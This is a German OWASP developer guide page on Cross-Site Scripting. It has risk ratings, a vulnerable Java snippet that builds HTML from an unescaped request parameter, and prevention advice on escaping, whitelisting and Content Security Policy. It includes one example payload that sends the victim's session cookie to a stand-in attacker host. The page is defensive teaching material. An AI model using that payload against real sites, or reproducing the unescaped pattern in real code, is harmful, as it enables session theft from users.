Germany/Projekte/Top 10 fuer Entwickler-2013/A3-Cross-Site Scripting (XSS)

← Top_10_fuer_Entwickler/A1_Injection

Top 10 fuer Entwickler-2013: Inhaltsverzeichnis Die Top-10-Risiken

Top_10_fuer_Entwickler/A3_Fehler_in_Authentifizierung_und_Session-Management →

---

A2 Cross-Site Scripting (XSS)

______	Ausnutzbarkeit DURCHSCHNITTLICH	Verbreitung AUSSERGEWÖHNLICH HÄUFIG	Auffindbarkeit EINFACH	Auiswirkung MITTEL	Application / Business Specific
Jeder, der Daten, die nicht ausreichend geprüft werden, an das System übermitteln kann: externe und interne Nutzer sowie Administratoren.	Der Angreifer sen-det textbasierte Angriffsskripte, die Eigenschaften des Browsers aus-nutzen. Fast jede Datenquelle kann einen Angriffsvektor beinhalten, auch interne Quellen wie Datenbanken.	XSS ist die am weitesten verbreitete Schwachstelle in Webanwendungen. XSS-Schwachstellen treten dann auf, wenn die Anwendung vom Benutzer eingegebene Daten übernimmt, ohne sie hinreichend zu validieren und Metazeichen als Text zu kodieren. Es gibt drei Typen von XSS-Schwachstellen: 1) Persistent, 2) nicht-persistent/reflektiert, und 3) DOM-basiert (lokal). Die meisten XSS-Schwachstellen sind verhältnismäßig einfach mit Hilfe von Tests oder Code-Analyse zu erkennen.		Angreifer können Skripte im Browser des Opfers ausführen und die Session übernehmen, Webseiten defacen, falsche In-halte einfügen, Benutzer umleiten, den Browser des Benutzers durch Malware übernehmen, etc.	Berücksichtigen Sie den geschäftlichen Nutzen des betrof-fenen Systems und der verarbeiteten Daten. Bedenken Sie ebenfalls die Auswirkung auf das Unternehmen bei Bekanntwerden der Schwachstelle.

Am I Vulnerable To 'Cross-Site Scripting (XSS)'? Die Anwendung übernimmt nicht vertrauenswürdige Daten, die nicht auf Gültigkeit geprüft oder escaped werden, um folgenden HTML-Code zu generieren: (String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>"; Der Angreifer ändert den Parameter ‘CC’ in seinem Browser auf: '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>' . Dadurch wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann. Beachten Sie bitte, dass Angreifer XSS auch nutzen können, um jegliche CSRF-Abwehr der Anwendung zu umgehen. A5 enthält weitere Informationen zu CSRF.	How Do I Prevent 'Cross-Site Scripting (XSS)'? Um XSS zu verhindern, müssen nicht vertrauenswürdige Daten von aktiven Browserinhalten getrennt werden. Vorzugsweise sollten nicht vertrauenswürdige Meta-zeichen für den Kontext, in dem sie ausgegeben werden (HTML, JavaScript, CSS, URL usw.), entsprechend escaped werden. Entwickler müssen dies in ihren Anwendungen umsetzen, solange dies nicht bereits durch ein korrekt eingesetztes Framework sichergestellt ist. Das OWASP XSS Prevention Cheat Sheet enthält weitere Informationen zu Escaping-Techniken. Eingabeüberprüfungen durch Positivlisten (“White-listing") mit einer angemessenen Kanonisierung und De-kodierung wird empfohlen. Dieses Vorgehen bietet jedoch keinen umfassenden Schutz, da viele Anwendungen Metazeichen als Eingabemöglichkeit erfordern. Eine Gültigkeitsprüfung sollte kodierte Eingaben dekodieren und auf Länge, Zeichen und Format prüfen, bevor die Eingabe akzeptiert wird. Ziehen Sie auch Mozillas Content Security Policy als Schutz gegen XSS in Betracht.
JAVA
Example Attack Scenarios XSS tbd	References XSS tbd style="vertical-align: top; padding:5px; width: 50%; border: 3px solid 4F81BD; background-color: F2F2F2;"> XSS (ganze Breite) style="vertical-align: top; padding:5px; width: 50%; border: 3px solid 4F81BD; background-color: F2F2F2;">

← Top_10_fuer_Entwickler/A1_Injection

Top 10 fuer Entwickler-2013: Inhaltsverzeichnis Die Top-10-Risiken

Top_10_fuer_Entwickler/A3_Fehler_in_Authentifizierung_und_Session-Management →

---

© 2002-2013 OWASP Foundation This document is licensed under the Creative Commons Attribution-ShareAlike 3.0 license. Some rights reserved.